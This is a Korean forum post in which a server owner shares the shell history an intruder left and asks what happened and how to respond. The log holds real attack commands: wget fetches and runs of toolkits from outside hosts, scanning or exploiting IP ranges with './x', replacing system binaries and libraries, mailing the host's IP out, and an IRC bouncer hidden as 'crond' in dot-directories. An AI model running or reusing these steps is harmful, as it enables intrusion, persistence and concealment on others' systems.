제 서버가 해킹 당했나 봐요 어떻게 된건가요?
작성자 정보
- 김영재 작성
- 작성일
컨텐츠 정보
- 2,083 조회
- 0 추천
- 목록
본문
history 정보에 이렇게 남아 있습니다.
들어와서 제 서버에 무슨 짓을해 놓은건가요?
그리구 어떻게 대처해야 하나요?
echo 제 아이피 주소 : mail -s root suOs@goro
echo 제 아이피 주소 : mail -s root suOs@goro
803 cd /var/spool
804 mkdir .mail
805 cd .mail
806 wget sun0s.go.ro/sec.tgz
807 ftp w.netfirms.com
808 ncftp -u l1nux -p sg4cb w.netfirms.com
809 tar zxvf wget.tgz
810 mv wget /bin
811 wget sun0s.go.ro/sec.tgz
812 tar zxvf sec.tgz
813 ./sec
814 wget www.psychoid.lam3rz.de/psyBNC2.3.1-8.tar.gz
815 tar zxvf psyBNC2.3.1-8.tar.gz
816 rm -rf psyBNC2.3.1-8.tar.gz
817 cd psybnc
818 make
819 cd ..
820 wget www.freewebs.com/mist3ry/linux.tar.gz
821 tar zxvf linux.tar.gz
822 cd psybnc
823 ls
824 dir
825 wget www.freewebs.com/mist3ry/psy.conf
826 mv psy.conf psybnc.conf
827 ./psybnc
828 /sbin/ifconfig | grep inet
894 wghet
895 cd /var/spool/.mail/exe
896 cd /var/spool/.mail
897 ls
898 wget sun0s.go.ro/exe.tgz
899 tar xzvf exe.tgz
900 ce exe
901 cd exe
902 ./x 213.190.56.161
903 ./x 213.190
904 ./x 213.190.56.162
905 ./a 213.190.56.162
906 ./x 213.190.56.162
907 ./x 207.61.224
908 ftp
909 ncftp
910 tar xzvf lib.tg
911 tar xzvf lib.tgz
912 rm -rf lib.tgz
913 mv lib* /lib
914 ./x 203.21.126
915 ./x 203.124
916 wget www.freewebs.com/mist3ry/linux.tar.gz
917 tar zxvf linux.tar.gz
918 rm -rf linux.tar.gz
919 mv psybnc .lol
920 cd .lol
921 wget www.freewebs.com/mist3ry/psy.conf
922 mv psybnc crond
923 mv psy.conf " "
924 ./crond " "
925 ls -al
926 rm -rf psybnc
927 wget www.freewebs.com/mist3ry/linux.tar.gz
928 killall -9psybnc
929 killall -9 psybnc
930 wget www.freewebs.com/mist3ry/linux.tar.gz
931 tar zxvf linux.tar.gz
932 rm -rf linux.tar.gz
933 mv psybnc .lol
934 cd .lol
935 mv psybnc crond
936 mv psy.conf " "
937 ./crond " "
938 cd
939 .lol
940 cd .lol
941 killall -9 psybnc
942 ls
943 .old
944 makefile
945 make psybnc
946 ./psybnc
947 cd " "
948 bnash
949 bash
950 cd bash
951 wget www.geocities.com/ftp4ady/psy.tgz
952 wget www.geocities.com/ftp4ady/psy.tgz
953 ls
954 menuconf
관련자료
-
이전
-
다음